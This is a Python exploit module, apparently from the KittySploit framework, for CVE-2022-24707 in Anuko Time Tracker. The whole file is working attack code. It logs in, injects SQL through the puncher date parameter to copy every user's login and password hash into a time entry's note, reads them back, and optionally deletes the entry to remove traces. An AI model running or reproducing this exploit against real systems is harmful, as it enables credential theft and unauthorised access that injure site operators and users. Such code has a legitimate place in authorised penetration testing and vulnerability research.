Anuko Time Tracker CVE-2022-24707 puncher SQLi

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Anuko Time Tracker CVE-2022-24707 puncher date SQLi credential extract."""

from __future__ import annotations

import re
from datetime import datetime, timedelta

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Anuko Time Tracker CVE-2022-24707 puncher SQLi",
        "description": (
            "CVE-2022-24707 (Anuko <= 1.20.0.5640): authenticated SQLi in puncher.php "
            "date parameter writes tt_users credentials into the entry note field."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2022-24707"],
        "platform": Platform.PHP,
        "arch": [Arch.CMD],
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-24707",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["anuko", "timetracker", "sqli", "authenticated", "cve-2022-24707"],
        "agent": {
            "risk": "intrusive",
            "effects": ["credential_access", "data_exfiltration"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["credentials"],
            "chain": {"suggested_followups": ["scanner/http/anuko_cve_2022_24707_detect"]},
        },
    }

    username = OptString("", "Anuko login", required=True)
    password = OptString("", "Anuko password", required=True)
    cleanup = OptBool(True, "Delete puncher entry after extract", required=False)

    @staticmethod
    def _ymd(dt: datetime) -> str:
        return f"{dt.year}-{dt.month}-{dt.day}"

    def _login(self) -> bool:
        resp = self.http_request(
            "POST",
            "/login.php",
            data={
                "login": str(self.username or ""),
                "password": str(self.password or ""),
                "btn_login": "Login",
            },
        )
        return resp is not None and "Incorrect" not in (resp.text or "")

    def _project_id(self) -> str | None:
        resp = self.http_request("GET", "/puncher.php")
        html = (resp.text or "") if resp else ""
        if "Feature is disabled" in html:
            return None
        m = re.search(r'<select[^>]*name="project"[^>]*>(.*?)</select>', html, re.I | re.S)
        if not m:
            return None
        opts = re.findall(r'<option\s+value="(\d+)"', m.group(1))
        return opts[0] if opts else None

    def _start_puncher(self, project_id: str) -> str | None:
        now = datetime.now()
        data = {
            "project": project_id,
            "btn_start": "Start",
            "browser_today": "",
            "browser_time": now.strftime("%H:%M"),
            "date": self._ymd(now),
        }
        resp = self.http_request(
            "POST",
            "/puncher.php",
            data=data,
            headers={"Referer": "/puncher.php"},
        )
        if resp and "Uncompleted entry already" in (resp.text or ""):
            return None
        page = self.http_request("GET", f"/puncher.php?date={self._ymd(now)}")
        ids = re.findall(r"time_edit\.php\?id=(\d+)", (page.text or "") if page else "")
        return sorted(ids)[-1] if ids else None

    def _sqli(self, project_id: str) -> None:
        now = datetime.now()
        stop = (now + timedelta(minutes=10)).strftime("%H:%M")
        sql = "SELECT group_concat(login,0x3a,password) FROM tt_users"
        malicious_date = (
            f"{self._ymd(now)}', comment=(({sql})), date='{self._ymd(now)}"
        )
        self.http_request(
            "POST",
            "/puncher.php",
            data={
                "btn_stop": "Stop",
                "browser_today": "",
                "browser_time": stop,
                "date": malicious_date,
            },
            headers={"Referer": "/puncher.php"},
            allow_redirects=False,
        )

    def _extract_note(self, entry_id: str) -> str:
        resp = self.http_request("GET", f"/time_edit.php?id={entry_id}")
        html = (resp.text or "") if resp else ""
        m = re.search(r'<textarea[^>]*name="note"[^>]*>(.*?)</textarea>', html, re.I | re.S)
        return (m.group(1).strip() if m else "")

    def _cleanup(self, entry_id: str) -> None:
        self.http_request(
            "POST",
            f"/time_delete.php?id={entry_id}",
            data={"delete_button": "Delete", "id": entry_id},
            headers={"Referer": f"/time_delete.php?id={entry_id}"},
        )

    def check(self):
        if not self._login():
            return {"vulnerable": False, "reason": "Login failed", "confidence": "high"}
        if not self._project_id():
            return {"vulnerable": False, "reason": "Puncher disabled or no project", "confidence": "medium"}
        return {"vulnerable": True, "reason": "Puncher available", "confidence": "high"}

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Precheck failed"))
            self.not_vulnerable()
            return False

        project = self._project_id()
        if not project:
            self.not_vulnerable()
            return False

        print_status("CVE-2022-24707 — Anuko puncher SQLi")
        entry = self._start_puncher(project)
        if not entry:
            print_error("Could not start puncher session")
            return False
        self._sqli(project)
        creds = self._extract_note(entry)
        if self.cleanup:
            self._cleanup(entry)

        if not creds:
            print_error("No credentials in note field")
            return False

        print_success(creds[:2000])
        session_id = self.handler_http(
            self.session,
            additional_data={"anuko_credentials": creds},
        )
        return bool(session_id)